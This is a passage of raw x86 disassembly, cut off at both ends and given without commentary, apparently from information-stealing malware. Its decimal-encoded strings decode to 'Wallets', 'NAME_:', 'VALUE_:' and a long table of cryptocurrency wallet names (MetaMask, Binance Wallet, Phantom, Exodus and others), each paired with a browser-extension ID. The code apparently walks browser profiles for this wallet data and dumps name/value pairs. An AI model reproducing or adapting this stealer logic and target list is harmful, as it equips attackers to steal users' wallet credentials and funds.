lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
jmp 0x42a105
lea eax, [ebp - 0x17c]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x84
push ecx
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.00452b80
add esp, 0xc
push 0x6a7db4
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x85
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x86
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00452b80
add esp, 0xc
push str..txt
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x87
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xe4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x194]
call fcn.00406430
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xcc]
call fcn.00406430
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x81
call fcn.00406430
push 0xb0
lea ecx, [ebp - 0x4c8]
call fcn.0042d9a0
push 1
push 0x40
push 8
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0043ee40
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x88
call fcn.0043ee30
test al, al
je 0x42a338
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
je 0x42a2af
push str.68_101_102_97_117_108_116
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x194]
call fcn.00424de0
push eax
push dword [ebp - 0x38]
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x194]
test al, al
sete byte [ebp - 0x15c9]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x88
call fcn.00447640
cmp byte [ebp - 0x15c9], 0
je 0x42a2af
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
mov byte [ebp - 4], 0x52
push dword [ebp - 0x14d4]
call fcn.00566b40
add esp, 4
push dword [ebp - 0x14e4]
call fcn.00562bf0
add esp, 4
lea eax, [ebp - 0x74]
lea ecx, [ebp - 0x34]
push 0
push eax
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x8b
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0x52
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42a266
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x8c
call fcn.004099a0
lea ecx, [ebp - 0x34]
call fcn.00406430
mov esi, dword [ebp - 0x40]
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447640
lea ecx, [ebp - 0x1e8]
call fcn.00406430
lea ecx, [ebp - 0x530]
call fcn.0043f270
lea ecx, [ebp - 0x164]
mov dword [ebp - 4], 0xb5
call fcn.00447640
add esi, 0x18
mov dword [ebp - 0x40], esi
jmp 0x42947b
lea eax, [ebp - 0x4c8]
push str.NAME_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x15f8]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.VALUE_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x15fc]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.__________________________________
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea ecx, [ebp - 0x4c8]
call fcn.0043edf0
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xe4]
call fcn.00406430
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x9c]
call fcn.00447640
jmp 0x429e49
mov ecx, dword [ebp - 0xec]
mov edi, dword [ebp - 0xf0]
mov dword [ebp - 0x15d0], ecx
mov eax, edi
mov dword [ebp - 0x15d8], edi
cmp eax, ecx
je 0x42b5ff
push 0x6ed42c
lea ecx, [ebp - 0x194]
call fcn.00447840
push str.AUTOSAVE
push eax
lea eax, [ebp - 0xb4]
mov dword [ebp - 4], 0x18d
push eax
call fcn.00451410
add esp, 0xc
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x8f
call fcn.00447640
push str.Wallets
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.004513b0
add esp, 0xc
xorps xmm0, xmm0
mov byte [ebp - 4], 0x90
push str.105_87_97_108_108_101_116
lea ecx, [ebp - 0x14d0]
movlpd qword [ebp - 0x3e0], xmm0
call fcn.004113c0
push str.107_110_99_99_104_100_105_103_111_98_103_104_101_110_98_98_97_100_100_111_106_106_110_110_97_111_103_102_112_112_102_106
lea ecx, [ebp - 0x14b8]
mov byte [ebp - 4], 0x91
call fcn.004113c0
push str.65_109_98_105_114_101_32_87_97_108_108_101_116
lea ecx, [ebp - 0x14a0]
mov byte [ebp - 4], 0x92
call fcn.004113c0
push str.101_101_101_106_103_100_110_100_102_111_105_112_102_97_98_106_100_99_102_106_110_108_104_109_105_106_111_108_107_103_99_98
lea ecx, [ebp - 0x1488]
mov byte [ebp - 4], 0x93
call fcn.004113c0
push str.65_114_103_101_110_116_32_88
lea ecx, [ebp - 0x1470]
mov byte [ebp - 4], 0x94
call fcn.004113c0
push str.112_101_112_111_108_104_106_97_103_101_99_105_100_112_106_100_107_111_100_104_97_111_102_98_100_97_111_106_106_103_109_102
lea ecx, [ebp - 0x1458]
mov byte [ebp - 4], 0x95
call fcn.004113c0
push str.65_117_114_111
lea ecx, [ebp - 0x1440]
mov byte [ebp - 4], 0x96
call fcn.004113c0
push str.99_110_109_97_109_97_97_99_104_112_112_110_107_106_103_110_105_108_100_112_100_109_107_97_97_107_101_106_110_104_97_101
lea ecx, [ebp - 0x1428]
mov byte [ebp - 4], 0x97
call fcn.004113c0
push str.65_117_114_111_120_32_87_97_108_108_101_116
lea ecx, [ebp - 0x1410]
mov byte [ebp - 4], 0x98
call fcn.004113c0
push str.101_101_100_112_108_100_101_106_100_108_99_98_104_112_112_109_101_98_109_99_99_101_108_112_100_108_109_99_97_102_97_102
lea ecx, [ebp - 0x13f8]
mov byte [ebp - 4], 0x99
call fcn.004113c0
push str.66_105_110_97_110_99_101_32_87_97_108_108_101_116
lea ecx, [ebp - 0x13e0]
mov byte [ebp - 4], 0x9a
call fcn.004113c0
push str.102_104_98_111_104_105_109_97_101_108_98_111_104_112_106_98_98_108_100_99_110_103_99_110_97_112_110_100_111_100_106_112
lea ecx, [ebp - 0x13c8]
mov byte [ebp - 4], 0x9b
call fcn.004113c0
push str.66_105_116_65_112_112_32_87_97_108_108_101_116
lea ecx, [ebp - 0x13b0]
mov byte [ebp - 4], 0x9c
call fcn.004113c0
push str.102_105_104_107_97_107_102_111_98_107_109_107_106_111_106_112_99_104_112_102_103_99_109_104_102_106_110_109_110_102_112_105
lea ecx, [ebp - 0x1398]
mov byte [ebp - 4], 0x9d
call fcn.004113c0
push str.66_105_116_75_101_101_112
lea ecx, [ebp - 0x1380]
mov byte [ebp - 4], 0x9e
call fcn.004113c0
push str.101_101_112_98_109_98_109_107_112_99_103_100_109_103_103_109_102_106_112_104_103_100_103_105_110_101_108_104_103_110_103_104
lea ecx, [ebp - 0x1368]
mov byte [ebp - 4], 0x9f
call fcn.004113c0
push str.66_108_111_99_107_87_97_108_108_101_116
lea ecx, [ebp - 0x1350]
mov byte [ebp - 4], 0xa0
call fcn.004113c0
push str.97_108_110_99_100_106_101_100_98_108_111_110_109_103_105_98_98_108_107_97_109_110_108_99_110_100_101_106_106_111_99_104
lea ecx, [ebp - 0x1338]
mov byte [ebp - 4], 0xa1
call fcn.004113c0
push str.66_114_97_118_101_32_87_97_108_108_101_116
lea ecx, [ebp - 0x1320]
mov byte [ebp - 4], 0xa2
call fcn.004113c0
push str.111_100_98_102_112_101_101_105_104_100_107_98_105_104_109_111_112_107_98_106_109_111_111_110_102_97_110_108_98_102_99_108
lea ecx, [ebp - 0x1308]
mov byte [ebp - 4], 0xa3
call fcn.004113c0
push str.67_108_111_118_101_114_32_87_97_108_108_101_116
lea ecx, [ebp - 0x12f0]
mov byte [ebp - 4], 0xa4
call fcn.004113c0
push str.111_100_107_110_108_106_105_98_110_101_111_98_101_106_102_110_99_102_104_106_105_105_98_98_103_100_100_103_104_99_98_110
lea ecx, [ebp - 0x12d8]
mov byte [ebp - 4], 0xa5
call fcn.004113c0
push str.67_111_105_110_57_56_32_87_97_108_108_101_116
lea ecx, [ebp - 0x12c0]
mov byte [ebp - 4], 0xa6
call fcn.004113c0
push str.97_101_97_99_104_107_110_109_101_102_112_104_101_112_99_99_105_111_110_98_111_111_104_99_107_111_110_111_101_101_109_103
lea ecx, [ebp - 0x12a8]
mov byte [ebp - 4], 0xa7
call fcn.004113c0
push str.67_111_105_110_98_97_115_101_32_87_97_108_108_101_116
lea ecx, [ebp - 0x1290]
mov byte [ebp - 4], 0xa8
call fcn.004113c0
push str.104_110_102_97_110_107_110_111_99_102_101_111_102_98_100_100_103_99_105_106_110_109_104_110_102_110_107_100_110_97_97_100
lea ecx, [ebp - 0x1278]
mov byte [ebp - 4], 0xa9
call fcn.004113c0
push str.67_114_111_99_111_98_105_116_32_87_97_108_108_101_116
lea ecx, [ebp - 0x1260]
mov byte [ebp - 4], 0xaa
call fcn.004113c0
mov byte [ebp - 4], 0xab
push str.112_110_108_102_106_109_108_99_106_100_106_103_107_100_100_101_99_103_105_110_99_110_100_102_103_101_103_107_101_99_107_101
lea ecx, [ebp - 0x1248]
call fcn.004113c0
push str.67_121_97_110_111
lea ecx, [ebp - 0x1230]
mov byte [ebp - 4], 0xac
call fcn.004113c0
push str.100_107_100_101_100_108_112_103_100_109_109_107_107_102_106_97_98_102_102_101_103_97_110_105_101_97_109_102_107_108_107_109
lea ecx, [ebp - 0x1218]
mov byte [ebp - 4], 0xad
call fcn.004113c0
push str.67_76_87
lea ecx, [ebp - 0x1200]
mov byte [ebp - 4], 0xae
call fcn.004113c0
push str.110_104_110_107_98_107_103_106_105_107_103_99_105_103_97_100_111_109_107_112_104_97_108_97_110_110_100_99_97_112_106_107
lea ecx, [ebp - 0x11e8]
mov byte [ebp - 4], 0xaf
call fcn.004113c0
push str.67_97_115_112_101_114_32_87_97_108_108_101_116
lea ecx, [ebp - 0x11d0]
mov byte [ebp - 4], 0xb0
call fcn.004113c0
push str.97_98_107_97_104_107_99_98_104_110_103_97_101_98_112_99_103_102_109_104_107_111_105_111_101_100_99_101_111_105_103_112
lea ecx, [ebp - 0x11b8]
mov byte [ebp - 4], 0xb1
call fcn.004113c0
push str.68_101_66_97_110_107
lea ecx, [ebp - 0x11a0]
mov byte [ebp - 4], 0xb2
call fcn.004113c0
push str.98_107_105_106_107_108_109_103_112_101_109_106_105_109_107_98_107_105_103_107_103_110_101_100_106_98_112_109_112_98_100_109
lea ecx, [ebp - 0x1188]
mov byte [ebp - 4], 0xb3
call fcn.004113c0
push str.68_117_105_110_111_67_111_105_110_32_87_97_108_108_101_116
lea ecx, [ebp - 0x1170]
mov byte [ebp - 4], 0xb4
call fcn.004113c0
push str.105_112_112_105_111_107_107_108_104_106_106_100_108_109_109_111_110_109_106_105_109_103_98_103_110_110_108_108_99_108_101_103
lea ecx, [ebp - 0x1158]
mov byte [ebp - 4], 0xb5
call fcn.004113c0
push str.68_65_112_112_80_108_97_121
lea ecx, [ebp - 0x1140]
mov byte [ebp - 4], 0xb6
call fcn.004113c0
push str.108_111_100_99_99_106_106_98_100_104_102_97_107_97_101_107_100_105_97_104_109_101_100_102_98_105_101_108_100_103_105_107
lea ecx, [ebp - 0x1128]
mov byte [ebp - 4], 0xb7
call fcn.004113c0
push str.69_116_104_101_114_101_117_109_32_87_101_98_32_87_97_108_108_101_116
lea ecx, [ebp - 0x1110]
mov byte [ebp - 4], 0xb8
call fcn.004113c0
push str.111_99_106_97_110_98_102_112_102_105_105_108_100_106_104_105_98_112_107_99_97_100_101_110_107_102_97_111_107_112_112_110
lea ecx, [ebp - 0x10f8]
mov byte [ebp - 4], 0xb9
call fcn.004113c0
push str.69_120_111_100_117_115
lea ecx, [ebp - 0x10e0]
mov byte [ebp - 4], 0xba
call fcn.004113c0
mov byte [ebp - 4], 0xbb
push str.112_103_109_101_106_97_103_106_109_109_112_108_98_108_104_106_103_105_98_102_103_97_109_101_97_110_109_112_107_111_100_102
lea ecx, [ebp - 0x10c8]
call fcn.004113c0
push str.69_81_85_65_32_87_97_108_108_101_116
lea ecx, [ebp - 0x10b0]
mov byte [ebp - 4], 0xbc
call fcn.004113c0
push str.98_108_110_105_101_105_105_102_102_98_111_105_108_108_107_110_106_110_101_112_111_103_106_104_107_103_110_111_97_112_97_99
lea ecx, [ebp - 0x1098]
mov byte [ebp - 4], 0xbd
call fcn.004113c0
push str.70_105_110_110_105_101
lea ecx, [ebp - 0x1080]
mov byte [ebp - 4], 0xbe
call fcn.004113c0
push str.99_106_109_107_110_100_106_104_110_97_103_99_102_98_112_105_101_109_110_107_100_112_111_109_99_99_110_106_98_108_109_106
lea ecx, [ebp - 0x1068]
mov byte [ebp - 4], 0xbf
call fcn.004113c0
push str.71_111_98_121
lea ecx, [ebp - 0x1050]
mov byte [ebp - 4], 0xc0
call fcn.004113c0
push str.106_110_107_101_108_102_97_110_106_107_101_97_100_111_110_101_99_97_98_101_104_97_108_109_98_103_112_102_111_100_106_109
lea ecx, [ebp - 0x1038]
mov byte [ebp - 4], 0xc1
call fcn.004113c0
push str.71_117_105_108_100_87_97_108_108_101_116
lea ecx, [ebp - 0x1020]
mov byte [ebp - 4], 0xc2
call fcn.004113c0
push str.110_97_110_106_109_100_107_110_104_107_105_110_105_102_110_107_103_100_99_103_103_99_102_110_104_100_97_97_109_109_109_106
lea ecx, [ebp - 0x1008]
mov byte [ebp - 4], 0xc3
call fcn.004113c0
push str.71_117_97_114_100_97
lea ecx, [ebp - 0xff0]
mov byte [ebp - 4], 0xc4
call fcn.004113c0
push str.104_112_103_108_102_104_103_102_110_104_98_103_112_106_100_101_110_106_103_109_100_103_111_101_105_97_112_112_97_102_108_110
lea ecx, [ebp - 0xfd8]
mov byte [ebp - 4], 0xc5
call fcn.004113c0
push str.72_105_114_111_32_87_97_108_108_101_116
lea ecx, [ebp - 0xfc0]
mov byte [ebp - 4], 0xc6
call fcn.004113c0
push str.108_100_105_110_112_101_101_107_111_98_110_104_106_106_100_111_102_103_103_102_103_106_108_99_101_104_104_109_97_110_108_106
lea ecx, [ebp - 0xfa8]
mov byte [ebp - 4], 0xc7
call fcn.004113c0
push str.72_97_115_104_112_97_99_107
lea ecx, [ebp - 0xf90]
mov byte [ebp - 4], 0xc8
call fcn.004113c0
push str.103_106_97_103_109_103_105_100_100_98_98_99_105_111_112_106_104_108_108_107_100_110_100_100_104_99_103_108_110_101_109_107
lea ecx, [ebp - 0xf78]
mov byte [ebp - 4], 0xc9
call fcn.004113c0
push str.73_67_79_78_101_120
lea ecx, [ebp - 0xf60]
mov byte [ebp - 4], 0xca
call fcn.004113c0
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0xf48]
push str.102_108_112_105_99_105_105_108_101_109_103_104_98_109_102_97_108_105_99_97_106_111_111_108_104_107_107_101_110_102_101_108
call fcn.004113c0
push str.74_97_120_120_32_76_105_98_101_114_116_121
lea ecx, [ebp - 0xf30]
mov byte [ebp - 4], 0xcc
call fcn.004113c0
push str.99_106_101_108_102_112_108_112_108_101_98_100_106_106_101_110_108_108_112_106_99_98_108_109_106_107_102_99_102_102_110_101
lea ecx, [ebp - 0xf18]
mov byte [ebp - 4], 0xcd
call fcn.004113c0
push str.75_101_112_108_114
lea ecx, [ebp - 0xf00]
mov byte [ebp - 4], 0xce
call fcn.004113c0
push str.100_109_107_97_109_99_107_110_111_103_107_103_99_100_102_104_104_98_100_100_99_103_104_97_99_104_107_101_106_101_97_112
lea ecx, [ebp - 0xee8]
mov byte [ebp - 4], 0xcf
call fcn.004113c0
push str.75_72_67
lea ecx, [ebp - 0xed0]
mov byte [ebp - 4], 0xd0
call fcn.004113c0
push str.104_99_102_108_112_105_110_99_112_112_112_100_99_108_105_110_101_97_108_109_97_110_100_105_106_99_109_110_107_98_103_110
lea ecx, [ebp - 0xeb8]
mov byte [ebp - 4], 0xd1
call fcn.004113c0
push str.75_97_114_100_105_97_67_104_97_105_110
lea ecx, [ebp - 0xea0]
mov byte [ebp - 4], 0xd2
call fcn.004113c0
push str.112_100_97_100_106_107_102_107_103_99_97_102_103_98_99_101_105_109_99_112_98_107_97_108_110_102_110_101_112_98_110_107
lea ecx, [ebp - 0xe88]
mov byte [ebp - 4], 0xd3
call fcn.004113c0
push str.76_105_113_117_97_108_105_116_121
lea ecx, [ebp - 0xe70]
mov byte [ebp - 4], 0xd4
call fcn.004113c0
push str.107_112_102_111_112_107_101_108_109_97_112_99_111_105_112_101_109_102_101_110_100_109_100_99_103_104_110_101_103_105_109_110
lea ecx, [ebp - 0xe58]
mov byte [ebp - 4], 0xd5
call fcn.004113c0
push str.77_101_116_97_77_97_115_107_32_87_97_108_108_101_116
lea ecx, [ebp - 0xe40]
mov byte [ebp - 4], 0xd6
call fcn.004113c0
push str.101_106_98_97_108_98_97_107_111_112_108_99_104_108_103_104_101_99_100_97_108_109_101_101_101_97_106_110_105_109_104_109
lea ecx, [ebp - 0xe28]
mov byte [ebp - 4], 0xd7
call fcn.004113c0
push str.77_101_116_97_87_97_108_108_101_116
lea ecx, [ebp - 0xe10]
mov byte [ebp - 4], 0xd8
call fcn.004113c0
push str.98_107_107_108_105_102_107_101_99_101_109_99_99_101_100_112_107_104_99_101_98_97_103_106_112_101_104_104_97_98_102_98
lea ecx, [ebp - 0xdf8]
mov byte [ebp - 4], 0xd9
call fcn.004113c0
push str.77_101_84_97_109_97_115_107
lea ecx, [ebp - 0xde0]
mov byte [ebp - 4], 0xda
call fcn.004113c0
push str.110_107_98_105_104_102_98_101_111_103_97_101_97_111_101_104_108_101_102_110_107_111_100_98_101_102_103_112_103_107_110_110
lea ecx, [ebp - 0xdc8]
mov byte [ebp - 4], 0xdb
call fcn.004113c0
push str.77_69_87_32_67_88
lea ecx, [ebp - 0xdb0]
mov byte [ebp - 4], 0xdc
call fcn.004113c0
push str.110_108_98_109_110_110_105_106_99_110_108_101_103_107_106_106_112_99_102_106_99_108_109_99_102_103_103_102_101_102_100_109
lea ecx, [ebp - 0xd98]
mov byte [ebp - 4], 0xdd
call fcn.004113c0
push str.77_79_66_79_88_32_87_65_76_76_69_84
lea ecx, [ebp - 0xd80]
mov byte [ebp - 4], 0xde
call fcn.004113c0
push str.102_99_99_107_107_100_98_106_110_111_105_107_111_111_101_100_101_100_108_97_112_99_97_108_112_105_111_110_109_97_108_111
lea ecx, [ebp - 0xd68]
mov byte [ebp - 4], 0xdf
call fcn.004113c0
push str.77_97_114_116_105_97_110
lea ecx, [ebp - 0xd50]
mov byte [ebp - 4], 0xe0
call fcn.004113c0
push str.101_102_98_103_108_103_111_102_111_105_112_112_98_103_99_106_101_112_110_104_105_98_108_97_105_98_99_110_99_108_103_107
lea ecx, [ebp - 0xd38]
mov byte [ebp - 4], 0xe1
call fcn.004113c0
push str.77_97_116_104_32_87_97_108_108_101_116
lea ecx, [ebp - 0xd20]
mov byte [ebp - 4], 0xe2
call fcn.004113c0
push str.97_102_98_99_98_106_112_98_112_102_97_100_108_107_109_104_109_99_108_104_107_101_101_111_100_109_97_109_99_102_108_99
lea ecx, [ebp - 0xd08]
mov byte [ebp - 4], 0xe3
call fcn.004113c0
push str.78_105_102_116_121_32_87_97_108_108_101_116
lea ecx, [ebp - 0xcf0]
mov byte [ebp - 4], 0xe4
call fcn.004113c0
push str.106_98_100_97_111_99_110_101_105_105_105_110_109_106_98_106_108_103_97_108_104_99_101_108_103_98_101_106_109_110_105_100
lea ecx, [ebp - 0xcd8]
mov byte [ebp - 4], 0xe5
call fcn.004113c0
push str.79_110_101_75_101_121
lea ecx, [ebp - 0xcc0]
mov byte [ebp - 4], 0xe6
call fcn.004113c0
push str.106_110_109_98_111_98_106_109_104_108_110_103_111_101_102_97_105_111_106_102_108_106_99_107_105_108_104_104_108_104_99_106
lea ecx, [ebp - 0xca8]
mov byte [ebp - 4], 0xe7
call fcn.004113c0
push str.79_120_121_103_101_110
lea ecx, [ebp - 0xc90]
mov byte [ebp - 4], 0xe8
call fcn.004113c0
push str.102_104_105_108_97_104_101_105_109_103_108_105_103_110_100_100_107_106_103_111_102_107_99_98_103_101_107_104_101_110_98_104
lea ecx, [ebp - 0xc78]
mov byte [ebp - 4], 0xe9
call fcn.004113c0
push str.79_78_84_79
lea ecx, [ebp - 0xc60]
mov byte [ebp - 4], 0xea
call fcn.004113c0
push str.98_99_111_112_103_99_104_104_111_106_109_103_103_109_102_102_105_108_112_108_109_98_100_105_99_103_97_105_104_108_107_112
lea ecx, [ebp - 0xc48]
mov byte [ebp - 4], 0xeb
call fcn.004113c0
push str.79_97_115_105_115
lea ecx, [ebp - 0xc30]
mov byte [ebp - 4], 0xec
call fcn.004113c0
push str.112_112_100_97_100_98_101_106_107_109_106_110_101_102_108_100_112_99_100_106_104_110_107_112_98_106_107_105_107_111_105_112
lea ecx, [ebp - 0xc18]
mov byte [ebp - 4], 0xed
call fcn.004113c0
push str.80_104_97_110_116_111_109
lea ecx, [ebp - 0xc00]
mov byte [ebp - 4], 0xee
call fcn.004113c0
push str.98_102_110_97_101_108_109_111_109_101_105_109_104_108_112_109_103_106_110_106_111_112_104_104_112_107_107_111_108_106_112_97
lea ecx, [ebp - 0xbe8]
mov byte [ebp - 4], 0xef
call fcn.004113c0
push str.80_111_108_121_109_101_115_104
lea ecx, [ebp - 0xbd0]
mov byte [ebp - 4], 0xf0
call fcn.004113c0
push str.106_111_106_104_102_101_111_101_100_107_112_107_103_108_98_102_105_109_100_102_97_98_112_100_102_106_97_111_111_108_97_102
lea ecx, [ebp - 0xbb8]
mov byte [ebp - 4], 0xf1
call fcn.004113c0
push str.80_111_110_116_101_109_32_65_112_116_111_115_32_87_97_108_108_101_116
lea ecx, [ebp - 0xba0]
mov byte [ebp - 4], 0xf2
call fcn.004113c0
push str.112_104_107_98_97_109_101_102_105_110_103_103_109_97_107_103_107_108_112_107_108_106_106_109_103_105_98_111_104_110_98_97
lea ecx, [ebp - 0xb88]
mov byte [ebp - 4], 0xf3
call fcn.004113c0
push str.82_111_110_105_110_32_87_97_108_108_101_116
lea ecx, [ebp - 0xb70]
mov byte [ebp - 4], 0xf4
call fcn.004113c0
push str.102_110_106_104_109_107_104_104_109_107_98_106_107_107_97_98_110_100_99_110_110_111_103_97_103_111_103_98_110_101_101_99
lea ecx, [ebp - 0xb58]
mov byte [ebp - 4], 0xf5
call fcn.004113c0
push str.82_97_98_98_101_116
lea ecx, [ebp - 0xb40]
mov byte [ebp - 4], 0xf6
call fcn.004113c0
push str.102_104_98_111_104_105_109_97_101_108_98_111_104_112_106_98_98_108_100_99_110_103_99_110_97_112_110_100_111_100_106_112
lea ecx, [ebp - 0xb28]
mov byte [ebp - 4], 0xf7
call fcn.004113c0
push str.82_97_98_98_121_32_87_97_108_108_101_116
lea ecx, [ebp - 0xb10]
mov byte [ebp - 4], 0xf8
call fcn.004113c0
push str.97_99_109_97_99_111_100_107_106_98_100_103_109_111_108_101_101_98_111_108_109_100_106_111_110_105_108_107_100_98_99_104
lea ecx, [ebp - 0xaf8]
mov byte [ebp - 4], 0xf9
call fcn.004113c0
push str.83_101_110_100_101_114
lea ecx, [ebp - 0xae0]
mov byte [ebp - 4], 0xfa
call fcn.004113c0
push str.101_112_97_112_105_104_100_112_108_97_106_99_100_110_110_107_100_101_105_97_104_108_103_105_103_111_102_108_111_105_98_103
lea ecx, [ebp - 0xac8]
mov byte [ebp - 4], 0xfb
call fcn.004113c0
mov byte [ebp - 4], 0xfc
push str.83_108_111_112_101
lea ecx, [ebp - 0xab0]
call fcn.004113c0
push str.112_111_99_109_112_108_112_97_99_99_97_110_104_109_110_108_108_98_98_107_112_103_102_108_105_105_109_106_108_106_103_111
lea ecx, [ebp - 0xa98]
mov byte [ebp - 4], 0xfd
call fcn.004113c0
push str.83_111_108_102_108_97_114_101_32_87_97_108_108_101_116
lea ecx, [ebp - 0xa80]
mov byte [ebp - 4], 0xfe
call fcn.004113c0
push str.98_104_104_104_108_98_101_112_100_107_98_97_112_97_100_106_100_110_110_111_106_107_98_103_105_111_105_111_100_98_105_99
lea ecx, [ebp - 0xa68]
mov byte [ebp - 4], 0xff
call fcn.004113c0
push str.83_111_108_108_101_116
lea ecx, [ebp - 0xa50]
mov dword [ebp - 4], 0x200
call fcn.004113c0
push str.102_104_109_102_101_110_100_103_100_111_99_109_99_98_109_102_105_107_100_99_111_103_111_102_112_104_105_109_110_107_110_111
lea ecx, [ebp - 0xa38]
mov byte [ebp - 4], 1
call fcn.004113c0
push str.83_112_97_116_105_117_109_32_87_97_108_108_101_116
lea ecx, [ebp - 0xa20]
mov byte [ebp - 4], 2
call fcn.004113c0
push str.110_99_111_101_103_102_102_108_102_103_101_109_106_103_106_102_100_107_104_106_99_100_97_104_100_104_102_109_104_98_112_100
lea ecx, [ebp - 0xa08]
mov byte [ebp - 4], 3
call fcn.004113c0
push str.83_116_97_114_99_111_105_110
lea ecx, [ebp - 0x9f0]
mov byte [ebp - 4], 4
call fcn.004113c0
push str.109_102_104_98_101_98_103_111_99_108_107_103_104_101_98_102_102_100_108_100_112_111_98_101_97_106_109_98_101_99_102_107
lea ecx, [ebp - 0x9d8]
mov byte [ebp - 4], 5
call fcn.004113c0
push str.83_117_98_87_97_108_108_101_116
lea ecx, [ebp - 0x9c0]
mov byte [ebp - 4], 6
call fcn.004113c0
push str.111_110_104_111_103_102_106_101_97_99_110_102_111_111_102_107_102_103_112_112_100_108_98_109_108_109_110_112_108_103_98_110
lea ecx, [ebp - 0x9a8]
mov byte [ebp - 4], 7
call fcn.004113c0
push str.83_119_97_115_104
lea ecx, [ebp - 0x990]
mov byte [ebp - 4], 8
call fcn.004113c0
push str.99_109_110_100_106_98_101_99_105_108_98_111_99_106_102_107_105_98_102_98_105_102_104_110_103_107_100_109_106_103_111_103
lea ecx, [ebp - 0x978]
mov byte [ebp - 4], 9
call fcn.004113c0
push str.83_97_102_101_80_97_108_32_87_97_108_108_101_116
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 0xa
call fcn.004113c0
push str.108_103_109_112_99_112_103_108_112_110_103_100_111_97_108_98_103_101_111_108_100_101_97_106_102_99_108_110_104_97_102_97
lea ecx, [ebp - 0x948]
mov byte [ebp - 4], 0xb
call fcn.004113c0
mov byte [ebp - 4], 0xc
push str.84_101_109_112_108_101
lea ecx, [ebp - 0x930]
call fcn.004113c0
push str.111_111_107_106_108_98_107_105_105_106_105_110_104_112_109_110_106_102_102_99_111_102_106_111_110_98_102_98_103_97_111_99
lea ecx, [ebp - 0x918]
mov byte [ebp - 4], 0xd
call fcn.004113c0
push str.84_101_114_114_97_32_83_116_97_116_105_111_110
lea ecx, [ebp - 0x900]
mov byte [ebp - 4], 0xe
call fcn.004113c0
push str.97_105_105_102_98_110_98_102_111_98_112_109_101_101_107_105_112_104_101_101_105_106_105_109_100_112_110_108_112_103_112_112
lea ecx, [ebp - 0x8e8]
mov byte [ebp - 4], 0xf
call fcn.004113c0
push str.84_101_122_66_111_120
lea ecx, [ebp - 0x8d0]
mov byte [ebp - 4], 0x10
call fcn.004113c0
push str.109_110_102_105_102_101_102_107_97_106_103_111_102_107_99_106_107_101_109_105_100_105_97_101_99_111_99_110_107_106_101_104
lea ecx, [ebp - 0x8b8]
mov byte [ebp - 4], 0x11
call fcn.004113c0
push str.84_111_110
lea ecx, [ebp - 0x8a0]
mov byte [ebp - 4], 0x12
call fcn.004113c0
push str.110_112_104_112_108_112_103_111_97_107_104_104_106_99_104_107_107_104_109_105_103_103_97_107_105_106_110_107_104_102_110_100
lea ecx, [ebp - 0x888]
mov byte [ebp - 4], 0x13
call fcn.004113c0
push str.84_114_111_110_76_105_110_107
lea ecx, [ebp - 0x870]
mov byte [ebp - 4], 0x14
call fcn.004113c0
push str.105_98_110_101_106_100_102_106_109_109_107_112_99_110_108_112_101_98_107_108_109_110_107_111_101_111_105_104_111_102_101_99
lea ecx, [ebp - 0x858]
mov byte [ebp - 4], 0x15
call fcn.004113c0
push str.84_114_117_115_116_32_87_97_108_108_101_116
lea ecx, [ebp - 0x840]
mov byte [ebp - 4], 0x16
call fcn.004113c0
push str.101_103_106_105_100_106_98_112_103_108_105_99_104_100_99_111_110_100_98_99_98_100_110_98_101_101_112_112_103_100_112_104
lea ecx, [ebp - 0x828]
mov byte [ebp - 4], 0x17
call fcn.004113c0
push str.84_97_108_105_115_109_97_110
lea ecx, [ebp - 0x810]
mov byte [ebp - 4], 0x18
call fcn.004113c0
push str.109_109_99_98_100_111_108_108_103_97_111_100_99_102_98_111_104_106_103_103_112_108_98_102_106_102_104_97_99_97_98_112
